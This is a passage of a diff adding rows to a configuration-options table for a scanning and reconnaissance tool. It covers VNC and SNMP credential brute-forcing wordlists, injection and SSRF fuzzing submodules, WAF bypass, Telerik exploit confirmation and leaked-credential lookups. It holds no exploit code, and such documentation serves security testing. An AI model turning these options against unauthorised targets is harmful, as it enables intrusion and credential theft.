+| modules.legba.vnc_wordlist                             | Union[str, list[str]]                                | Wordlist for VNC passwords, newline separated. Accepts a URL or local file path, or a list of URLs/paths to merge multiple wordlists (duplicates removed).                                                                                                                                                                     | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Passwords/Default-Credentials/vnc-betterdefaultpasslist.txt                                                                                                                                                                                                                                                                                                                 |
+| modules.lightfuzz.avoid_wafs                           | bool                                                 | Avoid running against confirmed WAFs, which are likely to block lightfuzz requests                                                                                                                                                                                                                                             | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.lightfuzz.disable_post                         | bool                                                 | Disable processing of POST parameters, avoiding form submissions.                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.lightfuzz.emit_baseline_responses              | bool                                                 | Emit canonical baseline responses as HTTP_RESPONSE events so excavate can mine them for new params/URLs.                                                                                                                                                                                                                       | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.lightfuzz.enabled_submodules                   | list[str]                                            | A list of submodules to enable. Empty list enabled all modules.                                                                                                                                                                                                                                                                | ['sqli', 'cmdi', 'xss', 'path', 'ssti', 'crypto', 'serial', 'esi', 'ssrf']                                                                                                                                                                                                                                                                                                                                                                              |
+| modules.lightfuzz.force_common_headers                 | bool                                                 | Force emit commonly exploitable parameters that may be difficult to detect                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.lightfuzz.try_get_as_post                      | bool                                                 | For each GETPARAM, also fuzz it as a POSTPARAM (in addition to normal GET fuzzing).                                                                                                                                                                                                                                            | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.lightfuzz.try_post_as_get                      | bool                                                 | For each POSTPARAM, also fuzz it as a GETPARAM (in addition to normal POST fuzzing).                                                                                                                                                                                                                                           | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.medusa.snmp_versions                           | list[str]                                            | List of SNMP versions to attempt against the SNMP server (default ['1', '2C'])                                                                                                                                                                                                                                                 | ['1', '2C']                                                                                                                                                                                                                                                                                                                                                                                                                                             |
+| modules.medusa.snmp_wordlist                           | Union[str, list[str]]                                | Wordlist url for SNMP community strings, newline separated (default https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/snmp.txt). Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                   | https://raw.githubusercontent.com/danielmiessler/SecLists/refs/heads/master/Discovery/SNMP/common-snmp-community-strings.txt                                                                                                                                                                                                                                                                                                                            |
+| modules.medusa.threads                                 | int                                                  | Number of communities to be tested concurrently (default 5)                                                                                                                                                                                                                                                                    | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.medusa.timeout_s                               | int                                                  | Wait time for the SNMP response(s) once at the end of all attempts (default 5)                                                                                                                                                                                                                                                 | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.medusa.wait_microseconds                       | int                                                  | Wait time after every SNMP request in microseconds (default 200)                                                                                                                                                                                                                                                               | 200                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.ntlm.try_all                                   | bool                                                 | Try every NTLM endpoint                                                                                                                                                                                                                                                                                                        | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.nuclei.batch_size                              | int                                                  | Number of targets to send to Nuclei per batch (default 200)                                                                                                                                                                                                                                                                    | 200                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.nuclei.budget                                  | int                                                  | Used in budget mode to set the number of allowed requests per host                                                                                                                                                                                                                                                             | 1                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.nuclei.concurrency                             | int                                                  | maximum number of templates to be executed in parallel (default 25)                                                                                                                                                                                                                                                            | 25                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.nuclei.directory_only                          | bool                                                 | Filter out 'file' URL event (default True)                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.nuclei.etags                                   | str                                                  | tags to exclude from the scan                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.nuclei.mode                                    | Literal['manual', 'technology', 'severe', 'budget']  | manual &#124; technology &#124; severe &#124; budget. Technology: Only activate based on technology events that match nuclei tags (nuclei -as mode). Manual (DEFAULT): Fully manual settings. Severe: Only critical and high severity templates without intrusive. Budget: Limit Nuclei to a specified number of HTTP requests | manual                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.nuclei.module_timeout                          | int                                                  | Max time in seconds to spend handling each batch of events                                                                                                                                                                                                                                                                     | 21600                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.nuclei.ratelimit                               | int                                                  | maximum number of requests to send per second (default 150)                                                                                                                                                                                                                                                                    | 150                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.nuclei.retries                                 | int                                                  | number of times to retry a failed request (default 0)                                                                                                                                                                                                                                                                          | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.nuclei.severity                                | str                                                  | Filter based on severity field available in the template.                                                                                                                                                                                                                                                                      |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.nuclei.silent                                  | bool                                                 | Don't display nuclei's banner or status messages                                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.nuclei.tags                                    | str                                                  | execute a subset of templates that contain the provided tags                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.nuclei.templates                               | str                                                  | template or template directory paths to include in the scan                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.nuclei.version                                 | str                                                  | nuclei version                                                                                                                                                                                                                                                                                                                 | 3.9.0                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.oauth.try_all                                  | bool                                                 | Check for OAUTH/IODC on every subdomain and URL.                                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.paramminer_cookies.recycle_words               | bool                                                 | Attempt to use words found during the scan on all other endpoints                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.paramminer_cookies.skip_boring_words           | bool                                                 | Remove commonly uninteresting words from the wordlist                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.paramminer_cookies.wordlist                    | Union[str, list[str]]                                | Define the wordlist to be used to derive cookies. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.paramminer_getparams.brute_short               | bool                                                 | Generate every 1-, 2-, and 3-letter [a-z] combination and add to the wordlist. Costs ~18,278 extra requests per host; opt-in for thorough scans.                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.paramminer_getparams.mutate_case               | bool                                                 | Also test case-mutated variants of each entry (camelCase for snake_case/kebab-case, Title case for single words). Skipped on URLs with case-insensitive backend extensions like .aspx/.cfm.                                                                                                                                    | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.paramminer_getparams.recycle_words             | bool                                                 | Attempt to use words found during the scan on all other endpoints                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.paramminer_getparams.skip_boring_words         | bool                                                 | Remove commonly uninteresting words from the wordlist                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.paramminer_getparams.wordlist                  | Union[str, list[str]]                                | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.paramminer_headers.recycle_words               | bool                                                 | Attempt to use words found during the scan on all other endpoints                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.paramminer_headers.skip_boring_words           | bool                                                 | Remove commonly uninteresting words from the wordlist                                                                                                                                                                                                                                                                          | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.paramminer_headers.wordlist                    | Union[str, list[str]]                                | Define the wordlist to be used to derive headers. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.adapter                               | str                                                  | Manually specify a network interface, such as "eth0" or "tun0". If not specified, the first network interface found with a default gateway will be used.                                                                                                                                                                       |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.adapter_ip                            | str                                                  | Send packets using this IP address. Not needed unless masscan's autodetection fails                                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.adapter_mac                           | str                                                  | Send packets using this as the source MAC address. Not needed unless masscan's autodetection fails                                                                                                                                                                                                                             |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.module_timeout                        | int                                                  | Max time in seconds to spend handling each batch of events                                                                                                                                                                                                                                                                     | 259200                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.portscan.ping_first                            | bool                                                 | Only portscan hosts that reply to pings                                                                                                                                                                                                                                                                                        | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.portscan.ping_only                             | bool                                                 | Ping sweep only, no portscan                                                                                                                                                                                                                                                                                                   | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.portscan.ports                                 | str                                                  | Ports to scan                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.rate                                  | int                                                  | Rate in packets per second                                                                                                                                                                                                                                                                                                     | 300                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.portscan.router_mac                            | str                                                  | Send packets to this MAC address as the destination. Not needed unless masscan's autodetection fails                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.skip_tags                             | str                                                  | Comma-separated event tags that will be excluded from scanning (e.g. 'cdn,waf'). speculate will emit assumed-open ports for these instead.                                                                                                                                                                                     |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.portscan.top_ports                             | int                                                  | Top ports to scan (default 100) (to override, specify 'ports')                                                                                                                                                                                                                                                                 | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.portscan.wait                                  | int                                                  | Seconds to wait for replies after scan is complete                                                                                                                                                                                                                                                                             | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.retirejs.node_version                          | str                                                  | Node.js version to install locally                                                                                                                                                                                                                                                                                             | 18.19.1                                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| modules.retirejs.severity                              | Literal['none', 'low', 'medium', 'high', 'critical'] | Minimum severity level to report (none, low, medium, high, critical)                                                                                                                                                                                                                                                           | medium                                                                                                                                                                                                                                                                                                                                                                                                                                                  |
+| modules.retirejs.version                               | str                                                  | retire.js version                                                                                                                                                                                                                                                                                                              | 5.3.0                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.robots.include_allow                           | bool                                                 | Include 'Allow' Entries                                                                                                                                                                                                                                                                                                        | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.robots.include_disallow                        | bool                                                 | Include 'Disallow' Entries                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.robots.include_sitemap                         | bool                                                 | Include 'sitemap' entries                                                                                                                                                                                                                                                                                                      | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.securitytxt.emails                             | bool                                                 | emit EMAIL_ADDRESS events                                                                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.securitytxt.urls                               | bool                                                 | emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.telerik.exploit_RAU_crypto                     | bool                                                 | Attempt to confirm any RAU AXD detections are vulnerable                                                                                                                                                                                                                                                                       | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.telerik.include_subdirs                        | bool                                                 | Include subdirectories in the scan (off by default)                                                                                                                                                                                                                                                                            | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.url_manipulation.allow_redirects               | bool                                                 | Allowing redirects will sometimes create false positives. Disallowing will sometimes create false negatives. Allowed by default.                                                                                                                                                                                               | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.virtualhost.brute_lines                        | int                                                  | Take only the first N lines from the wordlist when finding directories                                                                                                                                                                                                                                                         | 2000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.virtualhost.brute_wordlist                     | str                                                  | Wordlist containing subdomains                                                                                                                                                                                                                                                                                                 | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt                                                                                                                                                                                                                                                                                                                                          |
+| modules.virtualhost.certificate_sans                   | bool                                                 | Enable extraction and testing of Subject Alternative Names from certificates                                                                                                                                                                                                                                                   | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.virtualhost.force_basehost                     | str                                                  | Use a custom base host (e.g. evilcorp.com) instead of the default behavior of using the current URL                                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.virtualhost.max_concurrent_requests            | int                                                  | Maximum number of concurrent virtual host requests                                                                                                                                                                                                                                                                             | 80                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.virtualhost.mutation_check                     | bool                                                 | Enable trying mutations of the target host                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.virtualhost.report_interesting_default_content | bool                                                 | Report interesting default content                                                                                                                                                                                                                                                                                             | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.virtualhost.require_inaccessible               | bool                                                 | Only test virtual hosts that are not directly accessible (for discovering hidden content)                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.virtualhost.special_hosts                      | bool                                                 | Enable testing of special virtual host list (localhost, etc.)                                                                                                                                                                                                                                                                  | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.virtualhost.subdomain_brute                    | bool                                                 | Enable subdomain brute-force on target host                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.virtualhost.wordcloud_check                    | bool                                                 | Enable check using scan-wide wordcloud data on target host                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.waf_bypass.neighbor_cidr                       | int                                                  | CIDR mask (24-31) used for neighbor enumeration when search_ip_neighbors is true                                                                                                                                                                                                                                               | 24                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.waf_bypass.search_ip_neighbors                 | bool                                                 | Also check IP neighbors of the target domain                                                                                                                                                                                                                                                                                   | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.waf_bypass.similarity_threshold                | float                                                | Similarity threshold for content matching                                                                                                                                                                                                                                                                                      | 0.9                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.wafw00f.generic_detect                         | bool                                                 | When no specific WAF detections are made, try to perform a generic detect                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.webbrute.avoid_wafs                            | bool                                                 | Avoid running against confirmed WAFs, which are likely to block brute-force requests                                                                                                                                                                                                                                           | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.webbrute.concurrency                           | int                                                  | Number of concurrent requests per URL being fuzzed                                                                                                                                                                                                                                                                             | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.webbrute.extensions                            | Union[str, list[str]]                                | Optionally include a list of extensions to extend the keyword with (comma separated or YAML list)                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.webbrute.ignore_case                           | bool                                                 | Only put lowercase words into the wordlist                                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.webbrute.lines                                 | int                                                  | take only the first N lines from the wordlist when finding directories                                                                                                                                                                                                                                                         | 5000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.webbrute.max_depth                             | int                                                  | the maximum directory depth to attempt to solve                                                                                                                                                                                                                                                                                | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.webbrute.rate                                  | int                                                  | Maximum requests per second (0 = unlimited)                                                                                                                                                                                                                                                                                    | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.webbrute.wordlist                              | Union[str, list[str]]                                | Specify wordlist to use when finding directories. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                                                                                                                                           | https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt                                                                                                                                                                                                                                                                                                                                       |
+| modules.webbrute_shortnames.extensions                 | str                                                  | Optionally include a list of extensions to extend the keyword with (comma separated)                                                                                                                                                                                                                                           |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.webbrute_shortnames.find_common_prefixes       | bool                                                 | Attempt to automatically detect common prefixes and make additional runs against them                                                                                                                                                                                                                                          | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.webbrute_shortnames.find_delimiters            | bool                                                 | Attempt to detect common delimiters and make additional runs against them                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.webbrute_shortnames.find_subwords              | bool                                                 | Attempt to detect subwords and make additional runs against them                                                                                                                                                                                                                                                               | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.webbrute_shortnames.max_depth                  | int                                                  | the maximum directory depth to attempt to solve                                                                                                                                                                                                                                                                                | 1                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.webbrute_shortnames.max_predictions            | int                                                  | The maximum number of predictions to generate per shortname prefix                                                                                                                                                                                                                                                             | 250                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.webbrute_shortnames.rate                       | int                                                  | Rate of requests per second (default: 0)                                                                                                                                                                                                                                                                                       | 0                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.webbrute_shortnames.wordlist_extensions        | Union[str, list[str]]                                | Specify wordlist to use when making extension lists. Accepts a list of URLs/paths to merge multiple wordlists (duplicates are removed).                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.anubisdb.limit                                 | int                                                  | Limit the number of subdomains returned per query (increasing this may slow the scan due to garbage results from this API)                                                                                                                                                                                                     | 1000                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.apkpure.output_folder                          | str                                                  | Folder to download APKs to. If not specified, downloaded APKs will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.bevigil.api_key                                | str &#124; list[str]                                 | BeVigil OSINT API Key                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.bevigil.urls                                   | bool                                                 | Emit URLs in addition to DNS_NAMEs                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.bucket_file_enum.file_limit                    | int                                                  | Limit the number of files downloaded per bucket                                                                                                                                                                                                                                                                                | 50                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.bufferoverrun.api_key                          | str &#124; list[str]                                 | BufferOverrun API key                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.bufferoverrun.commercial                       | bool                                                 | Use commercial API                                                                                                                                                                                                                                                                                                             | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.builtwith.api_key                              | str &#124; list[str]                                 | Builtwith API key                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.builtwith.redirects                            | bool                                                 | Also look up inbound and outbound redirects                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.c99.api_key                                    | str &#124; list[str]                                 | c99.nl API key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.censys_dns.api_key                             | str &#124; list[str]                                 | Censys.io API Key in the format of 'key:secret'                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.censys_dns.max_pages                           | int                                                  | Maximum number of pages to fetch (100 results per page)                                                                                                                                                                                                                                                                        | 5                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.censys_ip.api_key                              | str &#124; list[str]                                 | Censys.io API Key in the format of 'key:secret'                                                                                                                                                                                                                                                                                |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.censys_ip.dns_names_limit                      | int                                                  | Maximum number of DNS names to extract from dns.names (default 100)                                                                                                                                                                                                                                                            | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.censys_ip.in_scope_only                        | bool                                                 | Only query in-scope IPs. If False, will query up to distance 1.                                                                                                                                                                                                                                                                | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.certspotter.api_key                            | str                                                  | SSLMate API key (enables pagination and higher rate limits)                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.chaos.api_key                                  | str &#124; list[str]                                 | Chaos API key                                                                                                                                                                                                                                                                                                                  |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.credshed.credshed_url                          | str                                                  | URL of credshed server                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.credshed.password                              | str                                                  | Credshed password                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.credshed.username                              | str                                                  | Credshed username                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.dehashed.api_key                               | str &#124; list[str]                                 | DeHashed API Key                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.dnsbimi.emit_raw_dns_records                   | bool                                                 | Emit RAW_DNS_RECORD events                                                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.dnsbimi.emit_urls                              | bool                                                 | Emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.dnsbimi.selectors                              | str                                                  | CSV list of BIMI selectors to check                                                                                                                                                                                                                                                                                            | default,email,mail,bimi                                                                                                                                                                                                                                                                                                                                                                                                                                 |
+| modules.dnscaa.dns_names                               | bool                                                 | emit DNS_NAME events                                                                                                                                                                                                                                                                                                           | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.dnscaa.emails                                  | bool                                                 | emit EMAIL_ADDRESS events                                                                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.dnscaa.in_scope_only                           | bool                                                 | Only check in-scope domains                                                                                                                                                                                                                                                                                                    | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.dnscaa.urls                                    | bool                                                 | emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.dnstlsrpt.emit_emails                          | bool                                                 | Emit EMAIL_ADDRESS events                                                                                                                                                                                                                                                                                                      | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.dnstlsrpt.emit_raw_dns_records                 | bool                                                 | Emit RAW_DNS_RECORD events                                                                                                                                                                                                                                                                                                     | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.dnstlsrpt.emit_urls                            | bool                                                 | Emit URL_UNVERIFIED events                                                                                                                                                                                                                                                                                                     | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.docker_pull.all_tags                           | bool                                                 | Download all tags from each registry (Default False)                                                                                                                                                                                                                                                                           | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.docker_pull.output_folder                      | str                                                  | Folder to download docker repositories to. If not specified, downloaded docker images will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.fullhunt.api_key                               | str &#124; list[str]                                 | FullHunt API Key                                                                                                                                                                                                                                                                                                               |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.git_clone.api_key                              | str &#124; list[str]                                 | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.git_clone.output_folder                        | str                                                  | Folder to clone repositories to. If not specified, cloned repositories will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                        |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.gitdumper.fuzz_tags                            | bool                                                 | Fuzz for common git tag names (v0.0.1, 0.0.2, etc.) up to the max_semanic_version                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.gitdumper.max_semanic_version                  | int                                                  |` Maximum version number to fuzz for (default < v10.10.10)                                                                                                                                                                                                                                                                       `| 10                                                                                                                                                                                                                                                                                                                                                                                                                                                      |
+| modules.gitdumper.output_folder                        | str                                                  | Folder to download repositories to. If not specified, downloaded repositories will be deleted when the scan completes, to minimize disk usage.                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.github_codesearch.api_key                      | str &#124; list[str]                                 | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.github_codesearch.limit                        | int                                                  | Limit code search to this many results                                                                                                                                                                                                                                                                                         | 100                                                                                                                                                                                                                                                                                                                                                                                                                                                     |
+| modules.github_org.api_key                             | str &#124; list[str]                                 | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.github_org.include_member_repos                | bool                                                 | Also enumerate organization members' repositories                                                                                                                                                                                                                                                                              | False                                                                                                                                                                                                                                                                                                                                                                                                                                                   |
+| modules.github_org.include_members                     | bool                                                 | Enumerate organization members                                                                                                                                                                                                                                                                                                 | True                                                                                                                                                                                                                                                                                                                                                                                                                                                    |
+| modules.github_usersearch.api_key                      | str &#124; list[str]                                 | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.github_workflows.api_key                       | str &#124; list[str]                                 | Github token                                                                                                                                                                                                                                                                                                                   |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.github_workflows.num_logs                      | int                                                  | For each workflow fetch the last N successful runs logs (max 100)                                                                                                                                                                                                                                                              | 1                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.github_workflows.output_folder                 | str                                                  | Folder to download workflow logs and artifacts to                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.hunterio.api_key                               | str &#124; list[str]                                 | Hunter.IO API key                                                                                                                                                                                                                                                                                                              |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.ip2location.api_key                            | str &#124; list[str]                                 | IP2location.io API Key                                                                                                                                                                                                                                                                                                         |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.ip2location.lang                               | str                                                  | Translation information(ISO639-1). The translation is only applicable for continent, country, region and city name.                                                                                                                                                                                                            |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.ipneighbor.num_bits                            | int                                                  | Netmask size (in CIDR notation) to check. Default is 4 bits (16 hosts)                                                                                                                                                                                                                                                         | 4                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.ipstack.api_key                                | str &#124; list[str]                                 | IPStack GeoIP API Key                                                                                                                                                                                                                                                                                                          |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.jadx.threads                                   | int                                                  | Maximum jadx threads for extracting apk's, default: 4                                                                                                                                                                                                                                                                          | 4                                                                                                                                                                                                                                                                                                                                                                                                                                                       |
+| modules.kreuzberg.extensions                           | list[str]                                            | File extensions to parse                                                                                                                                                                                                                                                                                                       | ['bak', 'bash', 'bashrc', 'conf', 'cfg', 'crt', 'csv', 'db', 'sqlite', 'doc', 'docx', 'ica', 'indd', 'ini', 'json', 'key', 'pub', 'log', 'markdown', 'md', 'odg', 'odp', 'ods', 'odt', 'pdf', 'pem', 'pps', 'ppsx', 'ppt', 'pptx', 'ps1', 'rdp', 'rsa', 'sh', 'sql', 'swp', 'sxw', 'txt', 'vbs', 'wpd', 'xls', 'xlsx', 'xml', 'yml', 'yaml']                                                                                                            |
+| modules.leakix.api_key                                 | str &#124; list[str]                                 | LeakIX API Key                                                                                                                                                                                                                                                                                                                 |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
+| modules.otx.api_key                                    | str &#124; list[str]                                 | OTX API key                                                                                                                                                                                                                                                                                                                    |                                                                                                                                                                                                                                                                                                                                                                                                                                                         |
